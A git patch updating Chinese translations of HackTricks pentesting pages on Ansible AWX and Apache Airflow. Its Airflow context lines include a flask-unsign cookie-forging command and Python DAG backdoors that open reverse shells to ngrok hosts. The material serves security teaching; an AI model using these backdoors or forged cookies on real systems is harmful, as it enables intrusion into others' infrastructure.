From 230d57cbe78d60e31e32276c0898ebaa45c775a2 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 2 Jan 2025 01:08:17 +0000 Subject: [PATCH] Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/ --- src/banners/hacktricks-training.md | 8 +- ...ower-awx-automation-controller-security.md | 50 +++--- .../apache-airflow-security/README.md | 30 ++-- .../airflow-configuration.md | 42 ++--- .../apache-airflow-security/airflow-rbac.md | 6 +- src/pentesting-ci-cd/atlantis-security.md | 156 +++++++++--------- src/pentesting-ci-cd/circleci-security.md | 40 ++--- .../cloudflare-security/README.md | 22 +-- .../cloudflare-security/cloudflare-domains.md | 28 ++-- .../cloudflare-zero-trust-network.md | 8 +- .../concourse-security/README.md | 6 +- .../concourse-architecture.md | 30 ++-- .../concourse-enumeration-and-attacks.md | 86 +++++----- .../concourse-lab-creation.md | 20 +-- src/pentesting-ci-cd/gitea-security/README.md | 40 ++--- .../gitea-security/basic-gitea-information.md | 46 +++--- .../github-security/README.md | 50 +++--- .../abusing-github-actions/README.md | 88 +++++----- .../gh-actions-artifact-poisoning.md | 2 +- .../accessible-deleted-data-in-github.md | 40 ++--- .../basic-github-information.md | 126 +++++++------- .../jenkins-security/README.md | 62 ++++--- .../basic-jenkins-information.md | 82 ++++----- ...itrary-file-read-to-rce-via-remember-me.md | 6 +- .../jenkins-dumping-secrets-from-groovy.md | 6 +- ...jenkins-rce-creating-modifying-pipeline.md | 4 +- .../jenkins-rce-creating-modifying-project.md | 24 +-- .../jenkins-rce-with-groovy-script.md | 4 +- src/pentesting-ci-cd/okta-security/README.md | 28 ++-- .../okta-security/okta-hardening.md | 32 ++-- .../pentesting-ci-cd-methodology.md | 16 +- .../serverless.com-security.md | 96 +++++------ src/pentesting-ci-cd/supabase-security.md | 32 ++-- src/pentesting-ci-cd/terraform-security.md | 68 ++++---- .../travisci-security/README.md | 16 +- .../basic-travisci-information.md | 26 +-- src/pentesting-ci-cd/vercel-security.md | 48 +++--- src/pentesting-cloud/aws-security/README.md | 98 +++++------ .../aws-basic-information/README.md | 132 +++++++-------- .../aws-federation-abuse.md | 8 +- .../aws-permissions-for-a-pentest.md | 4 +- .../aws-api-gateway-persistence.md | 8 +- .../aws-cognito-persistence.md | 6 +- .../aws-dynamodb-persistence.md | 6 +- .../aws-persistence/aws-ec2-persistence.md | 6 +- .../aws-persistence/aws-ecr-persistence.md | 12 +- .../aws-persistence/aws-ecs-persistence.md | 10 +- .../aws-elastic-beanstalk-persistence.md | 6 +- .../aws-persistence/aws-iam-persistence.md | 8 +- .../aws-persistence/aws-kms-persistence.md | 4 +- .../aws-lambda-persistence/README.md | 48 +++--- .../aws-abusing-lambda-extensions.md | 4 +- .../aws-lambda-layers-persistence.md | 30 ++-- .../aws-lightsail-persistence.md | 12 +- .../aws-persistence/aws-rds-persistence.md | 2 +- .../aws-persistence/aws-s3-persistence.md | 2 +- .../aws-secrets-manager-persistence.md | 2 +- .../aws-persistence/aws-sqs-persistence.md | 2 +- .../aws-persistence/aws-ssm-perssitence.md | 2 +- .../aws-step-functions-persistence.md | 4 +- .../aws-persistence/aws-sts-persistence.md | 4 +- .../aws-api-gateway-post-exploitation.md | 22 +-- .../aws-cloudfront-post-exploitation.md | 4 +- .../aws-codebuild-post-exploitation/README.md | 12 +- .../aws-codebuild-token-leakage.md | 32 ++-- .../aws-control-tower-post-exploitation.md | 2 +- .../aws-dlm-post-exploitation.md | 4 +- .../aws-dynamodb-post-exploitation.md | 28 ++-- .../README.md | 35 ++-- .../aws-ebs-snapshot-dump.md | 14 +- .../aws-malicious-vpc-mirror.md | 12 +- .../aws-ecs-post-exploitation.md | 12 +- .../aws-efs-post-exploitation.md | 6 +- .../aws-eks-post-exploitation.md | 20 +-- ...aws-elastic-beanstalk-post-exploitation.md | 8 +- .../aws-iam-post-exploitation.md | 18 +- .../aws-kms-post-exploitation.md | 12 +- .../aws-lambda-post-exploitation/README.md | 4 +- .../aws-warm-lambda-persistence.md | 8 +- .../aws-lightsail-post-exploitation.md | 8 +- .../aws-organizations-post-exploitation.md | 6 +- .../aws-rds-post-exploitation.md | 2 +- .../aws-s3-post-exploitation.md | 20 +-- .../aws-secrets-manager-post-exploitation.md | 4 +- .../aws-ses-post-exploitation.md | 2 +- .../aws-sns-post-exploitation.md | 4 +- .../aws-sqs-post-exploitation.md | 10 +- .../aws-stepfunctions-post-exploitation.md | 10 +- .../aws-sts-post-exploitation.md | 5 +- .../aws-privilege-escalation/README.md | 6 +- .../aws-apigateway-privesc.md | 8 +- .../aws-cloudformation-privesc/README.md | 6 +- ...stack-and-cloudformation-describestacks.md | 4 +- .../aws-codebuild-privesc.md | 24 +-- .../aws-codepipeline-privesc.md | 6 +- .../aws-codestar-privesc/README.md | 2 +- .../iam-passrole-codestar-createproject.md | 8 +- .../aws-cognito-privesc.md | 50 +++--- .../aws-datapipeline-privesc.md | 12 +- .../aws-directory-services-privesc.md | 2 +- .../aws-dynamodb-privesc.md | 2 +- .../aws-ebs-privesc.md | 4 +- .../aws-ec2-privesc.md | 34 ++-- .../aws-ecr-privesc.md | 8 +- .../aws-ecs-privesc.md | 20 +-- .../aws-efs-privesc.md | 8 +- .../aws-elastic-beanstalk-privesc.md | 12 +- .../aws-emr-privesc.md | 6 +- .../aws-glue-privesc.md | 10 +- .../aws-iam-privesc.md | 30 ++-- .../aws-kms-privesc.md | 8 +- .../aws-lambda-privesc.md | 42 ++--- .../aws-lightsail-privesc.md | 10 +- .../aws-mediapackage-privesc.md | 4 +- .../aws-mq-privesc.md | 4 +- .../aws-msk-privesc.md | 4 +- .../aws-organizations-prinvesc.md | 4 +- .../aws-rds-privesc.md | 20 +-- .../aws-redshift-privesc.md | 8 +- .../aws-s3-privesc.md | 8 +- .../aws-sagemaker-privesc.md | 12 +- .../aws-secrets-manager-privesc.md | 2 +- .../aws-sns-privesc.md | 8 +- .../aws-sqs-privesc.md | 4 +- .../aws-ssm-privesc.md | 14 +- .../aws-sso-and-identitystore-privesc.md | 18 +- .../aws-stepfunctions-privesc.md | 18 +- .../aws-sts-privesc.md | 20 +-- .../aws-workdocs-privesc.md | 8 +- .../eventbridgescheduler-privesc.md | 4 +- ...acm-pca-issuecertificate-acm-pca-getcer.md | 18 +- .../aws-security/aws-services/README.md | 14 +- .../aws-services/aws-api-gateway-enum.md | 26 +-- ...m-and-private-certificate-authority-pca.md | 12 +- .../aws-cloudformation-and-codestar-enum.md | 8 +- .../aws-services/aws-cloudfront-enum.md | 10 +- .../aws-services/aws-cloudhsm-enum.md | 14 +- .../aws-services/aws-codebuild-enum.md | 8 +- .../aws-services/aws-cognito-enum/README.md | 4 +- .../cognito-identity-pools.md | 34 ++-- .../aws-cognito-enum/cognito-user-pools.md | 66 ++++---- ...e-codepipeline-codebuild-and-codecommit.md | 6 +- .../aws-directory-services-workdocs-enum.md | 18 +- .../aws-services/aws-documentdb-enum.md | 2 +- .../aws-services/aws-dynamodb-enum.md | 22 +-- .../README.md | 32 ++-- .../aws-nitro-enum.md | 40 ++--- ...ws-vpc-and-networking-basic-information.md | 98 +++++------ .../aws-security/aws-services/aws-ecr-enum.md | 16 +- .../aws-security/aws-services/aws-ecs-enum.md | 14 +- .../aws-security/aws-services/aws-efs-enum.md | 16 +- .../aws-security/aws-services/aws-eks-enum.md | 12 +- .../aws-elastic-beanstalk-enum.md | 26 +-- .../aws-services/aws-elasticache.md | 2 +- .../aws-security/aws-services/aws-emr-enum.md | 16 +- .../aws-security/aws-services/aws-iam-enum.md | 38 ++--- .../aws-kinesis-data-firehose-enum.md | 6 +- .../aws-security/aws-services/aws-kms-enum.md | 30 ++-- .../aws-services/aws-lambda-enum.md | 26 +-- .../aws-services/aws-lightsail-enum.md | 4 +- .../aws-security/aws-services/aws-mq-enum.md | 10 +- .../aws-security/aws-services/aws-msk-enum.md | 8 +- .../aws-services/aws-organizations-enum.md | 8 +- .../aws-services/aws-other-services-enum.md | 6 +- .../aws-services/aws-redshift-enum.md | 18 +- .../aws-relational-database-rds-enum.md | 12 +- .../aws-services/aws-route53-enum.md | 6 +- .../aws-s3-athena-and-glacier-enum.md | 28 ++-- .../aws-services/aws-secrets-manager-enum.md | 8 +- .../aws-cloudtrail-enum.md | 44 ++--- .../aws-cloudwatch-enum.md | 56 +++---- .../aws-config-enum.md | 18 +- .../aws-control-tower-enum.md | 4 +- .../aws-cost-explorer-enum.md | 2 +- .../aws-detective-enum.md | 4 +- .../aws-firewall-manager-enum.md | 54 +++--- .../aws-guardduty-enum.md | 44 ++--- .../aws-inspector-enum.md | 52 +++--- .../aws-macie-enum.md | 6 +- .../aws-security-hub-enum.md | 6 +- .../aws-trusted-advisor-enum.md | 8 +- .../aws-waf-enum.md | 48 +++--- .../aws-security/aws-services/aws-ses-enum.md | 6 +- .../aws-security/aws-services/aws-sns-enum.md | 18 +- .../aws-services/aws-sqs-and-sns-enum.md | 2 +- .../aws-services/aws-stepfunctions-enum.md | 34 ++-- .../aws-security/aws-services/aws-sts-enum.md | 30 ++-- .../aws-services/eventbridgescheduler-enum.md | 14 +- .../aws-unauthenticated-enum-access/README.md | 6 +- .../aws-accounts-unauthenticated-enum.md | 2 +- .../aws-api-gateway-unauthenticated-enum.md | 26 +-- .../aws-codebuild-unauthenticated-access.md | 8 +- .../aws-cognito-unauthenticated-enum.md | 6 +- .../aws-dynamodb-unauthenticated-access.md | 2 +- .../aws-ec2-unauthenticated-enum.md | 2 +- .../aws-ecr-unauthenticated-enum.md | 2 +- .../aws-ecs-unauthenticated-enum.md | 2 +- ...-elastic-beanstalk-unauthenticated-enum.md | 18 +- .../aws-elasticsearch-unauthenticated-enum.md | 2 +- .../aws-iam-and-sts-unauthenticated-enum.md | 18 +- ...ity-center-and-sso-unauthenticated-enum.md | 10 +- .../aws-lambda-unauthenticated-access.md | 2 +- .../aws-mq-unauthenticated-enum.md | 4 +- .../aws-msk-unauthenticated-enum.md | 6 +- .../aws-rds-unauthenticated-enum.md | 4 +- .../aws-redshift-unauthenticated-enum.md | 2 +- .../aws-s3-unauthenticated-enum.md | 22 +-- src/pentesting-cloud/azure-security/README.md | 16 +- .../az-basic-information/README.md | 90 +++++----- .../az-tokens-and-public-applications.md | 39 +++-- .../azure-security/az-device-registration.md | 18 +- .../azure-security/az-enumeration-tools.md | 28 ++-- .../README.md | 20 +-- .../az-arc-vulnerable-gpo-deploy-script.md | 22 +-- .../az-local-cloud-credentials.md | 6 +- .../az-pass-the-certificate.md | 8 +- .../az-pass-the-cookie.md | 4 +- .../az-primary-refresh-token-prt.md | 2 +- .../az-processes-memory-access-token.md | 4 +- .../az-cloud-kerberos-trust.md | 14 +- .../az-default-applications.md | 2 +- .../az-synchronising-new-users.md | 6 +- .../federation.md | 64 +++---- .../phs-password-hash-sync.md | 20 +-- .../pass-the-prt.md | 38 ++--- .../pentesting-cloud-methodology.md | 46 +++--- 226 files changed, 2239 insertions(+), 2244 deletions(-) diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index 50f6953db..8748ea122 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,13 +1,13 @@ > [!TIP] -> 学习和实践 AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> 学习和实践 GCP Hacking:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +> 学习和实践 AWS 黑客技术:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +> 学习和实践 GCP 黑客技术:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) > >
> > 支持 HackTricks > > - 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! -> - **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。 +> - **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +> - **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。 > >
diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index 094f41ce0..e9c951b58 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -4,18 +4,18 @@ ## 基本信息 -**Ansible Tower** 或其开源版本 [**AWX**](https://github.com/ansible/awx) 也被称为 **Ansible 的用户界面、仪表板和 REST API**。通过 **基于角色的访问控制**、作业调度和图形化库存管理,您可以通过现代用户界面管理您的 Ansible 基础设施。Tower 的 REST API 和命令行界面使其易于集成到当前工具和工作流程中。 +**Ansible Tower** 或其开源版本 [**AWX**](https://github.com/ansible/awx) 也被称为 **Ansible 的用户界面、仪表板和 REST API**。通过 **基于角色的访问控制**、作业调度和图形化库存管理,您可以通过现代用户界面管理您的 Ansible 基础设施。Tower 的 REST API 和命令行界面使其与当前工具和工作流程的集成变得简单。 **Automation Controller 是 Ansible Tower 的一个更新版本,具有更多功能。** -### 差异 +### 区别 -根据 [**这篇文章**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00),Ansible Tower 和 AWX 之间的主要区别在于获得的支持,Ansible Tower 具有额外的功能,如基于角色的访问控制、对自定义 API 的支持和用户定义的工作流程。 +根据 [**这篇文章**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00),Ansible Tower 和 AWX 之间的主要区别在于获得的支持,Ansible Tower 具有额外的功能,如基于角色的访问控制、对自定义 API 的支持和用户定义的工作流。 ### 技术栈 - **Web 界面**:这是用户可以管理库存、凭据、模板和作业的图形界面。它旨在直观,并提供可视化以帮助理解自动化作业的状态和结果。 -- **REST API**:您可以在 Web 界面中执行的所有操作,也可以通过 REST API 执行。这意味着您可以将 AWX/Tower 与其他系统集成或编写通常在界面中执行的操作脚本。 +- **REST API**:您可以在 Web 界面中执行的所有操作,也可以通过 REST API 执行。这意味着您可以将 AWX/Tower 与其他系统集成或编写脚本来执行通常在界面中执行的操作。 - **数据库**:AWX/Tower 使用数据库(通常是 PostgreSQL)来存储其配置、作业结果和其他必要的操作数据。 - **RabbitMQ**:这是 AWX/Tower 用于在不同组件之间通信的消息系统,特别是在 Web 服务和任务运行器之间。 - **Redis**:Redis 作为缓存和任务队列的后端。 @@ -24,35 +24,35 @@ - **库存**:库存是一个 **主机(或节点)的集合**,可以对其 **运行作业**(Ansible 剧本)。AWX/Tower 允许您定义和分组库存,并支持动态库存,可以 **从其他系统获取主机列表**,如 AWS、Azure 等。 - **项目**:项目本质上是一个 **Ansible 剧本的集合**,来源于 **版本控制系统**(如 Git),以便在需要时提取最新的剧本。 -- **模板**:作业模板定义 **特定剧本将如何运行**,指定 **库存**、**凭据** 和其他 **参数**。 +- **模板**:作业模板定义 **如何运行特定的剧本**,指定 **库存**、**凭据** 和其他 **参数**。 - **凭据**:AWX/Tower 提供了一种安全的方式来 **管理和存储秘密,如 SSH 密钥、密码和 API 令牌**。这些凭据可以与作业模板关联,以便剧本在运行时具有必要的访问权限。 - **任务引擎**:这是魔法发生的地方。任务引擎基于 Ansible 构建,负责 **运行剧本**。作业被分派到任务引擎,然后使用指定的凭据在指定的库存上运行 Ansible 剧本。 - **调度程序和回调**:这些是 AWX/Tower 中的高级功能,允许 **作业在特定时间调度运行**或由外部事件触发。 -- **通知**:AWX/Tower 可以根据作业的成功或失败发送通知。它支持多种通知方式,如电子邮件、Slack 消息、Webhooks 等。 +- **通知**:AWX/Tower 可以根据作业的成功或失败发送通知。它支持多种通知方式,如电子邮件、Slack 消息、webhooks 等。 - **Ansible 剧本**:Ansible 剧本是配置、部署和编排工具。它们以自动化、可重复的方式描述系统的期望状态。剧本使用 YAML 编写,利用 Ansible 的声明性自动化语言描述需要执行的配置、任务和步骤。 ### 作业执行流程 1. **用户交互**:用户可以通过 **Web 界面** 或 **REST API** 与 AWX/Tower 交互。这些提供了对 AWX/Tower 提供的所有功能的前端访问。 2. **作业启动**: - - 用户通过 Web 界面或 API 启动基于 **作业模板** 的作业。 - - 作业模板包括对 **库存**、**项目**(包含剧本)和 **凭据** 的引用。 - - 在作业启动时,向 AWX/Tower 后端发送请求以将作业排队执行。 +- 用户通过 Web 界面或 API,根据 **作业模板** 启动作业。 +- 作业模板包括对 **库存**、**项目**(包含剧本)和 **凭据** 的引用。 +- 在作业启动时,向 AWX/Tower 后端发送请求以将作业排队执行。 3. **作业排队**: - - **RabbitMQ** 处理 Web 组件与任务运行器之间的消息传递。一旦作业启动,消息将通过 RabbitMQ 发送到任务引擎。 - - **Redis** 作为任务队列的后端,管理等待执行的排队作业。 +- **RabbitMQ** 处理 Web 组件与任务运行器之间的消息传递。一旦作业启动,消息将通过 RabbitMQ 发送到任务引擎。 +- **Redis** 作为任务队列的后端,管理等待执行的排队作业。 4. **作业执行**: - - **任务引擎** 拾取排队的作业。它从 **数据库** 中检索与作业相关的剧本、库存和凭据的必要信息。 - - 使用从相关 **项目** 中检索的 Ansible 剧本,任务引擎在指定的 **库存** 节点上使用提供的 **凭据** 运行剧本。 - - 当剧本运行时,其执行输出(日志、事实等)被捕获并存储在 **数据库** 中。 +- **任务引擎** 拾取排队的作业。它从 **数据库** 中检索与作业相关的剧本、库存和凭据的必要信息。 +- 使用从相关 **项目** 中检索的 Ansible 剧本,任务引擎在指定的 **库存** 节点上使用提供的 **凭据** 运行剧本。 +- 当剧本运行时,其执行输出(日志、事实等)被捕获并存储在 **数据库** 中。 5. **作业结果**: - - 一旦剧本完成运行,结果(成功、失败、日志)将保存到 **数据库** 中。 - - 用户可以通过 Web 界面查看结果或通过 REST API 查询结果。 - - 根据作业结果,可以发送 **通知** 以告知用户或外部系统作业的状态。通知可以是电子邮件、Slack 消息、Webhooks 等。 +- 一旦剧本完成运行,结果(成功、失败、日志)将保存到 **数据库** 中。 +- 用户可以通过 Web 界面查看结果或通过 REST API 查询结果。 +- 根据作业结果,可以发送 **通知** 以告知用户或外部系统作业的状态。通知可以是电子邮件、Slack 消息、webhooks 等。 6. **外部系统集成**: - - **库存** 可以从外部系统动态获取,允许 AWX/Tower 从 AWS、Azure、VMware 等来源提取主机。 - - **项目**(剧本)可以从版本控制系统中提取,确保在作业执行期间使用最新的剧本。 - - **调度程序和回调** 可用于与其他系统或工具集成,使 AWX/Tower 对外部触发器做出反应或在预定时间运行作业。 +- **库存** 可以从外部系统动态获取,允许 AWX/Tower 从 AWS、Azure、VMware 等来源提取主机。 +- **项目**(剧本)可以从版本控制系统中提取,确保在作业执行期间使用最新的剧本。 +- **调度程序和回调** 可用于与其他系统或工具集成,使 AWX/Tower 对外部触发器做出反应或在预定时间运行作业。 ### AWX 实验室创建以进行测试 @@ -102,7 +102,7 @@ docker exec tools_awx_1 awx-manage create_preload_data - 此角色旨在用于合规性和监督。 3. **Organization Roles**: - **Admin**: 对组织资源的完全控制。 -- **Auditor**: 仅查看组织资源的访问权限。 +- **Auditor**: 对组织资源的只读访问。 - **Member**: 在组织中的基本成员身份,没有任何特定权限。 - **Execute**: 可以在组织内运行作业模板。 - **Read**: 可以查看组织的资源。 @@ -115,22 +115,22 @@ docker exec tools_awx_1 awx-manage create_preload_data - **Ad Hoc**: 可以在库存上运行临时命令。 - **Update**: 可以更新库存源。 - **Use**: 可以在作业模板中使用库存。 -- **Read**: 仅查看访问权限。 +- **Read**: 只读访问。 6. **Job Template Roles**: - **Admin**: 可以管理和修改作业模板。 - **Execute**: 可以运行作业。 -- **Read**: 仅查看访问权限。 +- **Read**: 只读访问。 7. **Credential Roles**: - **Admin**: 可以管理和修改凭据。 - **Use**: 可以在作业模板或其他相关资源中使用凭据。 -- **Read**: 仅查看访问权限。 +- **Read**: 只读访问。 8. **Team Roles**: - **Member**: 团队的一部分,但没有任何特定权限。 - **Admin**: 可以管理团队成员和相关资源。 9. **Workflow Roles**: - **Admin**: 可以管理和修改工作流。 - **Execute**: 可以运行工作流。 -- **Read**: 仅查看访问权限。 +- **Read**: 只读访问。 diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index 03870395f..5101a851d 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -6,17 +6,17 @@ [**Apache Airflow**](https://airflow.apache.org) 是一个用于 **编排和调度数据管道或工作流** 的平台。在数据管道的上下文中,“编排”一词指的是安排、协调和管理来自各种来源的复杂数据工作流的过程。这些编排的数据管道的主要目的是提供经过处理和可消费的数据集。这些数据集被广泛应用于众多应用程序,包括但不限于商业智能工具、数据科学和机器学习模型,所有这些都是大数据应用程序正常运行的基础。 -基本上,Apache Airflow 允许您 **在发生某些事情时调度代码的执行**(事件,cron)。 +基本上,Apache Airflow 允许您 **在某些事情发生时调度代码的执行**(事件,cron)。 ### 本地实验室 #### Docker-Compose -您可以使用来自 [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) 的 **docker-compose 配置文件** 启动一个完整的 Apache Airflow Docker 环境。(如果您使用的是 MacOS,请确保为 Docker 虚拟机分配至少 6GB 的内存)。 +您可以使用来自 [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) 的 **docker-compose 配置文件** 启动一个完整的 apache airflow docker 环境。(如果您使用的是 MacOS,请确保为 docker VM 提供至少 6GB 的 RAM)。 #### Minikube -一种简单的方法是 **使用 minikube 运行 apache airflow**: +运行 apache airflow 的一种简单方法是 **使用 minikube**: ```bash helm repo add airflow-stable https://airflow-helm.github.io/charts helm repo update @@ -50,34 +50,34 @@ airflow-rbac.md - **变量**(自定义敏感信息可能存储在这里) - **连接**(自定义敏感信息可能存储在这里) -- 在 `http:///connection/list/` 中访问它们 +- 在 `http:///connection/list/` 访问它们 - [**配置**](./#airflow-configuration)(敏感信息如 **`secret_key`** 和密码可能存储在这里) - 列出 **用户和角色** - **每个 DAG 的代码**(可能包含有趣的信息) #### 检索变量值 -变量可以存储在 Airflow 中,以便 **DAG** 可以 **访问** 其值。这类似于其他平台的秘密。如果您有 **足够的权限**,可以在 `http:///variable/list/` 的 GUI 中访问它们。\ -Airflow 默认会在 GUI 中显示变量的值,但是,根据 [**这个**](https://marclamberti.com/blog/variables-with-apache-airflow/),可以设置一个 **变量列表**,其 **值** 将在 **GUI** 中显示为 **星号**。 +变量可以存储在 Airflow 中,以便 **DAG** 可以 **访问** 其值。这类似于其他平台的秘密。如果您有 **足够的权限**,可以在 GUI 中访问它们,地址为 `http:///variable/list/`。\ +Airflow 默认会在 GUI 中显示变量的值,但是,根据 [**这个**](https://marclamberti.com/blog/variables-with-apache-airflow/) 的说法,可以设置一个 **变量列表**,其 **值** 将在 **GUI** 中显示为 **星号**。 ![](<../../images/image (164).png>) 然而,这些 **值** 仍然可以通过 **CLI**(您需要有数据库访问权限)、**任意 DAG** 执行、**API** 访问变量端点(API 需要被激活),甚至 **GUI 本身** 来 **检索**!\ 要从 GUI 访问这些值,只需 **选择您想访问的变量**,然后 **点击操作 -> 导出**。\ -另一种方法是对 **隐藏值** 执行 **暴力破解**,使用 **搜索过滤** 直到您获得它: +另一种方法是对 **隐藏值** 进行 **暴力破解**,使用 **搜索过滤** 直到您获得它: ![](<../../images/image (152).png>) #### 权限提升 -如果 **`expose_config`** 配置设置为 **True**,则从 **用户角色** 及 **以上** 可以 **读取** **web 中的配置**。在此配置中,**`secret_key`** 出现,这意味着任何拥有此有效密钥的用户都可以 **创建自己的签名 cookie 来冒充任何其他用户帐户**。 +如果 **`expose_config`** 配置设置为 **True**,从 **用户角色** 及 **以上** 可以 **读取** **web 中的配置**。在此配置中,**`secret_key`** 出现,这意味着任何拥有此有效密钥的用户都可以 **创建自己的签名 cookie 来冒充任何其他用户账户**。 ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` #### DAG 后门 (Airflow worker 中的 RCE) 如果您对 **DAG 保存的位置** 有 **写入权限**,您可以 **创建一个** 发送 **反向 shell** 的 **DAG**。\ -请注意,这个反向 shell 将在 **airflow worker 容器** 内执行: +请注意,这个反向 shell 将在 **airflow worker 容器** 内部执行: ```python import pendulum from airflow import DAG @@ -116,9 +116,9 @@ python_callable=rs, op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} ) ``` -#### DAG Backdoor (RCE in Airflow scheduler) +#### DAG 后门 (Airflow 调度器中的 RCE) -如果您将某些内容设置为**在代码的根目录中执行**,在撰写本文时,它将在将其放入DAG文件夹后几秒钟内**由调度程序执行**。 +如果您将某些内容设置为 **在代码的根目录中执行**,在撰写本文时,它将在放置到 DAG 文件夹后几秒钟内 **由调度器执行**。 ```python import pendulum, socket, os, pty from airflow import DAG @@ -144,22 +144,22 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} ``` #### DAG 创建 -如果你成功地**攻陷了 DAG 集群中的一台机器**,你可以在 `dags/` 文件夹中创建新的 **DAG 脚本**,它们将会在 DAG 集群中的其余机器上**复制**。 +如果你成功**攻陷了 DAG 集群中的一台机器**,你可以在 `dags/` 文件夹中创建新的 **DAG 脚本**,它们将会在 DAG 集群中的其余机器上**复制**。 #### DAG 代码注入 当你从 GUI 执行一个 DAG 时,你可以**传递参数**给它。\ 因此,如果 DAG 编写不当,它可能会**容易受到命令注入的攻击。**\ -这就是在这个 CVE 中发生的情况:[https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) +这就是在这个 CVE 中发生的情况: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) 你需要知道的**开始寻找 DAG 中命令注入的方法**是**参数**是通过代码**`dag_run.conf.get("param_name")`**来**访问**的。 -此外,**变量**也可能出现相同的漏洞(请注意,拥有足够权限的情况下,你可以在 GUI 中**控制变量的值**)。变量通过以下方式**访问**: +此外,**变量**也可能出现相同的漏洞(请注意,拥有足够权限的情况下,你可以在 GUI 中**控制变量的值**)。变量通过以下方式**访问**: ```python from airflow.models import Variable [...] foo = Variable.get("foo") ``` -如果它们例如在 bash 命令中使用,您可能会执行命令注入。 +如果它们例如在 bash 命令中使用,您可能会执行命令注入。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index 413dab94b..d7ab7c2ca 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -1,17 +1,17 @@ -# Airflow Configuration +# Airflow 配置 {{#include ../../banners/hacktricks-training.md}} -## Configuration File +## 配置文件 -**Apache Airflow** 在所有的 airflow 机器上生成一个 **config file**,称为 **`airflow.cfg`**,位于 airflow 用户的主目录中。此配置文件包含配置信息,并且 **可能包含有趣和敏感的信息。** +**Apache Airflow** 在所有 airflow 机器上生成一个名为 **`airflow.cfg`** 的 **配置文件**,该文件位于 airflow 用户的主目录中。此配置文件包含配置信息,并且 **可能包含有趣和敏感的信息。** **访问此文件有两种方式:通过攻陷某个 airflow 机器,或访问 web 控制台。** 请注意,**配置文件中的值** **可能不是实际使用的值**,因为您可以通过设置环境变量如 `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'` 来覆盖它们。 如果您可以访问 **web 服务器中的配置文件**,您可以在同一页面上检查 **实际运行的配置**。\ -如果您有 **访问 airflow 环境中某台机器的权限**,请检查 **环境**。 +如果您可以访问 **airflow 环境中的某台机器**,请检查 **环境**。 在阅读配置文件时,一些有趣的值: @@ -20,14 +20,14 @@ - **`access_control_allow_headers`**: 这表示 **CORS** 的 **允许** **头部** - **`access_control_allow_methods`**: 这表示 **CORS** 的 **允许方法** - **`access_control_allow_origins`**: 这表示 **CORS** 的 **允许来源** -- **`auth_backend`**: [**根据文档**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) 可以配置一些选项来决定谁可以访问 API: -- `airflow.api.auth.backend.deny_all`: **默认情况下没有人** 可以访问 API -- `airflow.api.auth.backend.default`: **每个人都可以** 无需认证地访问 +- **`auth_backend`**: [**根据文档**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) 可以配置一些选项来控制谁可以访问 API: +- `airflow.api.auth.backend.deny_all`: **默认情况下没有人**可以访问 API +- `airflow.api.auth.backend.default`: **每个人都可以**在没有认证的情况下访问 - `airflow.api.auth.backend.kerberos_auth`: 配置 **kerberos 认证** - `airflow.api.auth.backend.basic_auth`: 用于 **基本认证** - 